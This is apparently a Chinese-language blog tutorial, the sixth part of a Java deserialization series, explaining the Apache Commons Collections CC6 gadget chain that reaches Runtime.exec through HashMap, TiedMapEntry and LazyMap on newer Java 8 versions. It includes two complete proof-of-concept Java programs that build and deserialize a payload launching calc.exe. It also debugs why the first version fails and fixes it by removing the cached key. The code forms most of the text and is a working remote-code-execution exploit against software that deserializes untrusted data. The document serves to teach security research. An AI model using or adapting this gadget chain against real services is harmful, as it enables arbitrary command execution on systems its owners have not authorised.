反序列化篇6#
CC6#
反序列化篇5提到了CC1链在java8高版本并不适用,当我们去尝试,会产生报错:java.lang.annotation.Retention missing element entrySet
。
这是由于AnnotationInvocationHandler
在高版本中改变了readObject的逻辑,不再使用我们精心构造的LazyMap
而是使用自己新建的LinkedHashMap
,导致该对象无法获得entrySet
的内容,所以会报前面的这个错误。
为了解决高版本的利用问题,我们需要重新构造链的前半部分,寻找是否有其他地方能够调用LazyMap.get()
方法。
找到的地方是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
方法中调⽤了this.map.get
,而其hashCode
,toString
,equals
方法都调用了自身的getValue
方法。
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map; private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map; this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 : value.hashCode());
}
// ...
}
在ysoserial中,是利用了
java.util.HashSet.readObject()
->HashMap.put()
->HashMap.hash(key)
->TiedMapEntry.hashCode()
。而实际上,在
java.util.HashMap.readObject()
就有hash(key)
的操作,我们可以利用此来构造gadget。
构造gadget#
构造的时候使用了一些技巧,先创建了一个fakeTransformers,在序列化的前一刻才将其替换为真正的Transformers,这样能够防止我们在生成poc时的本地命令执行。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1),
};
// 先使用fakeTransformer防止本地命令执行
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map objMap = new HashMap();
objMap.put(tiedMapEntry, "valuevalue");
// 使用反射替换transformerChain的transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(objMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
当我们执行这段代码的时候,发现反序列化时并没有弹出来计算器! 这是为什么呢?
为什么没有成功执行#
我们尝试在LazyMap.get
方法中下一个断点调试一下,发现问题:
我们在构造gadget的时候就触发了LazyMap.get
方法,导致LazyMap
的假利用链被提前触发,而当我们真正想要去反序列化时,LazyMap已经存在keykey
这个键,导致我们无法进入this.factory.transfrom
这个语句触发我们真正的利用链,但是我们并没有去手动调用LazyMap.get
,为什么这个方法会触发呢?
我们回顾源码,只有在TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
这句话中存在keykey,当我们去查看HashMap.put
方法时,我们发现了罪魁祸首:
当我们构造gadget时会将TiedMapEntry
手动put到HashMap,导致其触发了hash(key)
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
提前触发了我们的链,并且将该key存入了outerMap
,下次我们真正利用时由于outerMap
已经存在该key而导致利用链失败!
了解了原因之后我们就很好解决该问题了: 在objMap.put
之后调用outerMap.remove
删除该key即可。
最终poc#
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1),
};
// 先使用fakeTransformer防止本地命令执行
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map objMap = new HashMap();
objMap.put(tiedMapEntry, "valuevalue");
outerMap.remove("keykey");
// 使用反射替换transformerChain的transformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(objMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
总结#
整条链的调用逻辑为:
HashMap.readObject()
hash(key) === key.hashCode() === TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform() // 获取Runtime.class
InvokerTransformer.transform() // 获取Runtime.getRuntime
InvokerTransformer.transform() // 获取Runtime实例
InvokerTransformer.transform() // 调用exec方法触发rce